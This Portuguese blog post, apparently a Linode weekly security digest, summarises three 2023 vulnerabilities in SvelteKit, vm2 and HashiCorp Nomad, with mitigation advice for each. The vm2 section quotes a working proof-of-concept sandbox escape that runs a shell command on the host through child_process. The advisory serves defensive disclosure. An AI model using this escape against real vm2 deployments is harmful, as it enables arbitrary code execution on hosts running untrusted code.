Pular para o conteúdo principal
BlogSegurançaLinode Security Digest 10 de abril - 17 de abril de 2023

Linode Security Digest 10 de abril - 17 de abril de 2023

Linode Security Digest

No resumo desta semana, discutiremos o seguinte:

  • Um bypass de proteção CSRF no SvelteKit;
  • Uma fuga de caixa de areia em versão vm2; e 
  • Um desvio de autorização ACL não autenticado para HashiCorp Nomad e Nomad Enterprise resultando em Escalada de Privilégios.
CVE-2023-29003: SvelteKit: Bypass de Proteção CSRF usando Cabeçalho Tipo Content-Type

Antecedentes

O SvelteKit é uma estrutura para construir aplicações web utilizando a biblioteca Svelte JavaScript. Ele fornece uma experiência de desenvolvimento simplificada, incluindo recursos como renderização do lado do servidor, roteamento e roteamento de páginas baseado em arquivos fora da caixa.

Vulnerabilidade

A vulnerabilidade, CVE-2023-29003, afeta as versões do SvelteKit abaixo de 1.15.1 por causa da proteção insuficiente contra falsificação cruzada (CSRF). Antes do SvelteKit 1.15.1, a proteção do CSRF foi executada quando três condições foram atendidas: (1) a solicitação era um POST, (2) havia um descompasso entre a origem do site e o cabeçalho HTTP de origem da solicitação, e (3) se a solicitação incluía conteúdo de formulário, indicado por um Cabeçalho Content-Type de "aplicação/x-www-form-urlencoded" ou "multipart/form-data". 

Se todas estas condições fossem atendidas, seria enviada uma resposta 403 Proibida ao pedido. Esta verificação poderia ser contornada usando um Content-Type diferente no pedido, como "text/plain".

Mitigação

  • A vulnerabilidade foi abordada no SvelteKit versão 1.15.1. A atualização para a versão mais recente é a forma recomendada para corrigir esta questão.
CVE-2023-29199: vm2: Escape de caixa de areia em transformador de código fonte

Antecedentes

vm2 é um módulo Node.js que fornece um ambiente de caixa de areia para executar código não confiável de forma segura. Ele permite a criação de contextos de execução isolados onde os atacantes podem executar código não confiável sem a capacidade de acessar o contexto global ou dados sensíveis.

Vulnerabilidade

A vulnerabilidade depende de uma exceção na lógica de saneamento do transformador de código fonte de vm2. Esta vulnerabilidade permite que um atacante contorne a função handleException() e vaze exceções não higienizadas do host, abrindo a porta para que um atacante escape da caixa de areia e execute código arbitrário no contexto do host.

GitHub leesh3288 fez uma prova de conceito para explorar esta vulnerabilidade, o que mostra a facilidade com que o código pode ser executado no contexto do host:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

Mitigação

  • A vulnerabilidade foi abordada na versão vm2 3.9.16. A atualização para a última versão é a forma recomendada para corrigir este problema.
CVE-2023-1782: HashiCorp Nomad: Bypass ACL não autenticado Escalada do Privilégio

Antecedentes

HashiCorp Nomad é uma plataforma de orquestração de contêineres que permite aos usuários implantar e gerenciar facilmente aplicações em vários ambientes, incluindo centros de dados, nuvens e localizações de borda. Ele fornece recursos como implantação automatizada, escalonamento e auto-cura, bem como suporte para múltiplos tempos de execução de contêineres e algoritmos de agendamento.

Vulnerabilidade

Não há muitas especificidades para esta vulnerabilidade. Entretanto, com base no relatório do pesquisador, solicitações HTTP não autenticadas podem ignorar as autorizações ACL pretendidas sempre que uma solicitação é processada no servidor através de RPCs internos. Esta vulnerabilidade afeta o HashiCorp Nomad e HashiCorp Nomad Enterprise para as versões 1.5.0 até 1.5.2.

Mitigação

  • Esta vulnerabilidade pode ser remediada ao permitir o mTLS em seu grupo hospedeiro.
  • Esta vulnerabilidade foi abordada na versão 1.5.3 do HashiCorp Nomad. A atualização para a versão mais recente é a forma recomendada para corrigir esta questão. 

Comentários

Deixe uma resposta

Seu endereço de e-mail não será publicado. Os campos obrigatórios estão marcados com *